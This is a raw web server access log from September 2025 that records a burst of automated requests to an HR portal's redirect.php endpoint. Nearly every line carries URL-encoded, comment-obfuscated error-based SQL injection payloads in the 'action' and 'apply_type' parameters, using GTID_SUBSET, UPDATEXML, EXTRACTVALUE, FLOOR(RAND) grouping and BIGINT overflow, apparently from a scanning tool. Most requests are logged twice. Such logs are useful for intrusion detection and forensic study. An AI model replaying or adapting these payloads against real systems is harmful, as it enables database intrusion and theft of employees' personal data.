100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4c6f6741%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71463830%29%2C6420%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4c6f6741%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71463830%29%2C6420%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x624a5949%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x624c6774%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x624a5949%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x624c6774%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f434776%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7336504d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f434776%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7336504d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x74556366%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72303876%29%2C6420%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x74556366%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72303876%29%2C6420%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4f307a76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65513230%29%2C5431%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4f307a76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65513230%29%2C5431%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x38465a51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a307776%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x38465a51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a307776%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x3566514c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x646e6874%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x3566514c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x646e6874%29%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6d525637%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69355969%29%2C5431%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6d525637%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69355969%29%2C5431%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66765943%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74535577%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66765943%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74535577%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x37556c67%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65567133%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x37556c67%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65567133%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6744394a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6242656d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6744394a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6242656d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x52336b6b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7367676b%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x52336b6b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7367676b%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x715a495a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3459746e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x715a495a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3459746e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x63753769%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f447868%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:07 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x63753769%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f447868%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x70343538%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36747557%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x70343538%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36747557%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c435269%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58305874%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c435269%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58305874%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x54453032%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a6d3369%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x54453032%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a6d3369%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x76676b36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6378774f%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x76676b36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6378774f%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6d447938%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c647764%29%2C6420%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6d447938%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c647764%29%2C6420%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x53394e34%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x685a764a%29%2C6420%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x53394e34%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x685a764a%29%2C6420%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
